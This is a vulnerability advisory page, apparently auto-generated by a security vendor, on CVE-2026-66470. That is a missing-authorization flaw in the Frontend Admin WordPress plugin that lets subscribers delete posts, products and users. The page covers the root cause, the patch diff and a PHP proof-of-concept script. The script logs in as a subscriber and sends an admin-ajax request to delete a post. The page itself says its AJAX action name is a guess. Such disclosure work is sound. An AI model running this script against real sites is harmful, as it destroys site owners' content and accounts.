Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66470: Frontend Admin by DynamiApps <= 3.29.10 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.29.10
Patched Version 3.29.11
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66470: This is a missing authorization vulnerability in the Frontend Admin by DynamiApps WordPress plugin, affecting versions up to and including 3.29.10. The flaw allows authenticated users with subscriber-level access to perform unauthorized actions, specifically deleting posts, products, and users they do not own, due to a missing capability check in the delete object handler. CVSS score 4.3 (Medium) and CWE-862 (Missing Authorization) confirm the privilege boundary violation.

The root cause lies in the file acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php. In the vulnerable version, the variable $allowed_by_settings is set to true in one code path (when a form is found), and later used in permission checks for deleting posts, products, and users. However, the patch removes this variable entirely and replaces the checks with direct inspection of the field’s special_permissions array. The original logic incorrectly assumed that the presence of a form implied permission, allowing any authenticated user to delete arbitrary objects if the form was accessible. Lines around 112-126 (post deletion), 127-140 (product deletion), and 153-165 (user deletion) in the vulnerable file used the flawed $allowed_by_settings flag, which was not properly tied to capability checks.

An attacker with subscriber-level access can exploit this by submitting a crafted request to the delete object handler. The handler is likely invoked via an AJAX action (e.g., ‘fea_delete_object’ or similar) or a direct POST to the plugin’s frontend form endpoint. The attacker needs to supply parameters such as field key, object type (post, product, user), and object ID. Without proper capability checks, the plugin deletes the specified object. For example, a POST to /wp-admin/admin-ajax.php with action=fea_delete_object&field=some_key&post=123 would delete post ID 123 if the form configuration allows deletion. The patch adds checks for special permissions ‘delete_posts’ and ‘delete_users’ in the field settings, which are only granted to authorized roles.

The patch (version 3.29.11) fixes the issue by removing the insecure $allowed_by_settings variable and replacing the permission checks with explicit checks against the field’s special_permissions array. For post deletion, it now checks if the user has ‘edit_post’ capability OR the field grants ‘delete_posts’ special permission. Similar logic applies to products and users. Additionally, the patch adds a capability check (current_user_can(‘manage_options’)) to the plans CRUD handler in main/admin/admin-pages/plans/crud.php, and introduces a has_sensitive_capability() function in the role field to prevent unauthorized role assignments. These changes ensure that only users with appropriate capabilities can delete objects or assign privileged roles.

If exploited, this vulnerability allows a subscriber-level user to delete arbitrary posts, products, or users, leading to data loss and potential site disruption. The attacker could delete critical content, user accounts, or e-commerce products. The impact is limited to integrity (deletion) and availability, with no confidentiality breach. Atomic Edge research assesses the risk as moderate due to the authentication requirement and the need for a configured form that exposes the delete functionality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acf-frontend-form-element/acf-frontend.php
+++ b/acf-frontend-form-element/acf-frontend.php
@@ -3,7 +3,7 @@
  * Plugin Name: Frontend Admin
  * Plugin URI:  https://www.dynamiapps.com/frontend-admin/
  * Description: This awesome plugin allows you to easily display admin forms to the frontend of your site so your clients can easily edit content on their own from the frontend.
- * Version:     3.29.10
+ * Version:     3.29.11
  * Author:      Shabti Kaplan
  * Author URI:  https://www.dynamiapps.com/
  * Text Domain: frontend-admin
--- a/acf-frontend-form-element/main/admin/admin-pages/forms/sections/permissions.php
+++ b/acf-frontend-form-element/main/admin/admin-pages/forms/sections/permissions.php
@@ -231,6 +231,8 @@
 					'edit_users'   => __( 'Edit Other Users', 'frontend-admin' ),
 					'edit_terms'   => __( 'Edit Terms', 'frontend-admin' ),
 					'delete_terms' => __( 'Delete Terms', 'frontend-admin' ),
+					'delete_posts' => __( 'Delete Other's Posts', 'frontend-admin' ),
+					'delete_users' => __( 'Delete Other Users', 'frontend-admin' ),
 				),
 				'conditional_logic' => array(
 					array(
--- a/acf-frontend-form-element/main/admin/admin-pages/plans/crud.php
+++ b/acf-frontend-form-element/main/admin/admin-pages/plans/crud.php
@@ -150,6 +150,10 @@
 				die();
 			}

+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json_error( __( 'You do not have permission to do this.', 'frontend-admin' ) );
+			}
+
 			if( empty( $_POST['plan'] ) ) wp_send_json_error( __( 'No plan found', 'frontend-admin' ) );

 			$plan_id = intval( $_POST['plan'] );
--- a/acf-frontend-form-element/main/elementor/classes/permissions.php
+++ b/acf-frontend-form-element/main/elementor/classes/permissions.php
@@ -198,6 +198,8 @@
 					'edit_users'   => __( 'Edit Users', 'frontend-admin' ),
 					'edit_terms'   => __( 'Edit Terms', 'frontend-admin' ),
 					'delete_terms' => __( 'Delete Terms', 'frontend-admin' ),
+					'delete_posts' => __( 'Delete Other's Posts', 'frontend-admin' ),
+					'delete_users' => __( 'Delete Other Users', 'frontend-admin' ),
 				),
 				'description' => __( 'Allow special permssions. For example, allow authors to edit other user's posts or other users', 'frontend-admin' ),
 			)
--- a/acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php
+++ b/acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php
@@ -59,10 +59,8 @@

 					if( empty( $form ) ) {
 						wp_send_json_error( __( 'Not Allowed to Delete Objects', 'frontend-admin' ) );
-					}else{
-						$allowed_by_settings = true;
 					}
-
+
 					if ( ! empty( $form['fields'][ $key ] ) ) {
 						$field = $form['fields'][ $key ];
 					}else{
@@ -112,7 +110,8 @@
 					$post_id = intval( $objects['post'] );
 					if ( ! $post_id ) wp_send_json_error( __( 'No Post ID Found', 'frontend-admin' ) );

-					if ( ! current_user_can( 'edit_post', $post_id ) && ! $allowed_by_settings ) {
+					$post_special_permissions = $field['special_permissions'] ?? array();
+					if ( ! current_user_can( 'edit_post', $post_id ) && ! in_array( 'delete_posts', $post_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this post', 'frontend-admin' ) );
 					}

@@ -127,7 +126,8 @@
 					$product_id = intval( $objects['product'] );
 					if( ! $product_id ) wp_send_json_error( __( 'No Product ID Found', 'frontend-admin' ) );

-					if ( ! current_user_can( 'edit_post', $product_id ) && ! $allowed_by_settings ) {
+					$product_special_permissions = $field['special_permissions'] ?? array();
+					if ( ! current_user_can( 'edit_post', $product_id ) && ! in_array( 'delete_posts', $product_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this product', 'frontend-admin' ) );
 					}

@@ -153,8 +153,8 @@
 					$user_id = intval( $objects['user'] );
 					if( ! $user_id ) wp_send_json_error( __( 'No User ID Found', 'frontend-admin' ) );

-					if( ! current_user_can( 'edit_user', $user_id ) && ! $allowed_by_settings ) {
-
+					$user_special_permissions = $field['special_permissions'] ?? array();
+					if( ! current_user_can( 'edit_user', $user_id ) && ! in_array( 'delete_users', $user_special_permissions ) ) {
 						wp_send_json_error( __( 'You do have have permission to delete this user', 'frontend-admin' ) );
 					}

--- a/acf-frontend-form-element/main/frontend/fields/user/class-role.php
+++ b/acf-frontend-form-element/main/frontend/fields/user/class-role.php
@@ -78,6 +78,57 @@
 			return $field;
 		}

+		/**
+		 * Roles carrying any of these capabilities are treated as privileged: a
+		 * requester without promote_users must not be able to self-assign them
+		 * via a Role field, even when the field's own role_options allowlist
+		 * includes them (e.g. a form intentionally offering "author" alongside
+		 * "subscriber" as self-registration choices).
+		 */
+		function has_sensitive_capability( $role_slug ) {
+			$sensitive_caps = array(
+				'manage_options',
+				'edit_others_posts',
+				'delete_others_posts',
+				'edit_private_posts',
+				'delete_private_posts',
+				'unfiltered_html',
+				'unfiltered_upload',
+				'edit_theme_options',
+				'edit_files',
+				'edit_plugins',
+				'edit_themes',
+				'install_plugins',
+				'install_themes',
+				'update_plugins',
+				'update_themes',
+				'update_core',
+				'delete_plugins',
+				'delete_themes',
+				'create_users',
+				'delete_users',
+				'edit_users',
+				'promote_users',
+				'remove_users',
+				'manage_network',
+				'activate_plugins',
+			);
+
+			$role = get_role( $role_slug );
+
+			if ( ! $role ) {
+				return false;
+			}
+
+			foreach ( $sensitive_caps as $cap ) {
+				if ( ! empty( $role->capabilities[ $cap ] ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
 		function validate_value( $is_valid, $value, $field, $input ) {
 			$allowed_roles = $field['role_options'] ?? array( 'subscriber' );
 			if ( ! in_array( $value, $allowed_roles ) ) {
@@ -86,6 +137,9 @@
 			if ( isset( $field['frontend_admin_display_mode'] ) && $field['frontend_admin_display_mode'] == 'hidden' && $field['default_value'] != $value ) {
 				return __( 'Invalid role option selected.', 'frontend-admin' );
 			}
+			if ( $this->has_sensitive_capability( $value ) && ! current_user_can( 'promote_users' ) ) {
+				return __( 'You do not have permission to assign this role.', 'frontend-admin' );
+			}

 			return $is_valid;
 		}
@@ -93,7 +147,7 @@
 		function pre_update_value( $checked, $value, $post_id, $field ) {
 			if( $this->name !== $field['type'] ){
 				return $checked;
-			}
+			}
 			$user_id = explode( '_', $post_id );

 			if ( 'user' != $user_id[0] || empty( $user_id[1] ) ) return true; //checked value is not a user field and there is nothing to update
@@ -108,12 +162,12 @@
 			if ( ! in_array( $value, $allowed_roles ) ) {
 				wp_die( __( 'Invalid role option selected.', 'frontend-admin' ) );
 			}
-			if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
-				wp_die( __( 'You do not have permission to assign this role.', 'frontend-admin' ) );
+			if ( $this->has_sensitive_capability( $value ) && ! current_user_can( 'promote_users' ) ) {
+				wp_die( __( 'You do not have permission to assign this role.', 'frontend-admin' ) );
 			}
-
+
 			$user->set_role( $value );
-
+
 			return true;
 		}

--- a/acf-frontend-form-element/main/gutenberg/blocks/step.php
+++ b/acf-frontend-form-element/main/gutenberg/blocks/step.php
@@ -29,8 +29,8 @@
             $step_index = isset($step_index) ? $step_index + 1 : 1;

             $current_step = $step_index ?? 0;
-            $next_button = $attr['next_button_text'] ?? __('Next', 'frontend-admin');
-            $prev_button = $attr['prev_button_text'] ?? __('Previous', 'frontend-admin');
+            $next_button = esc_html( $attr['next_button_text'] ?? __('Next', 'frontend-admin') );
+            $prev_button = esc_html( $attr['prev_button_text'] ?? __('Previous', 'frontend-admin') );



--- a/acf-frontend-form-element/main/gutenberg/blocks/steps.php
+++ b/acf-frontend-form-element/main/gutenberg/blocks/steps.php
@@ -61,10 +61,10 @@
                 $the_step = '<span class="current-step">' . $active_step . '</span>';

 					if ( isset( $attr['counter_text'] ) ) {
-						$counter_text = str_replace( '{current_step}', $the_step, $attr['counter_text'] );
+						$counter_text = str_replace( '{current_step}', $the_step, esc_html( $attr['counter_text'] ) );
 						$counter_text = str_replace( '{total_steps}', $steps_total, $counter_text );
 					} else {
-						  $counter_text = $attr['counter_prefix'] . $the_step . $attr['counter_suffix'];
+						  $counter_text = esc_html( $attr['counter_prefix'] ) . $the_step . esc_html( $attr['counter_suffix'] );
 					}

                 $counter = sprintf(
--- a/acf-frontend-form-element/main/plugin.php
+++ b/acf-frontend-form-element/main/plugin.php
@@ -104,7 +104,7 @@
 			define( 'FEA_URL', $data['plugin_url'] );
 			define( 'FEA_DIR', $data['plugin_dir'] );
 			define( 'FEA_PLUGIN', $data['plugin'] );
-			define( 'FEA_VERSION', '3.29.10' );
+			define( 'FEA_VERSION', '3.29.11' );
 			do_action( 'front_end_admin_loaded' );

 			// Add tutorial videos to plugin item on plugins page

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66470 - Frontend Admin by DynamiApps <= 3.29.10 - Missing Authorization

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';

// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce (if needed) from a page that contains the delete form
// For simplicity, assume nonce is not required or can be obtained from the form page
$nonce = ''; // In a real attack, fetch the form page and extract nonce

// Step 3: Send the delete request
// The exact AJAX action may vary; common actions: 'fea_delete_object', 'frontend_admin_delete_object'
$post_id_to_delete = 123; // ID of the post to delete
$data = array(
    'action' => 'fea_delete_object',
    'field' => 'some_field_key', // The field key from the form configuration
    'post' => $post_id_to_delete,
    'nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Delete request sent. Response: " . $response . "n";

// Note: The PoC assumes the attacker knows a valid field key and that the form allows deletion.
// In practice, the attacker would enumerate forms or use a form that is publicly accessible.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.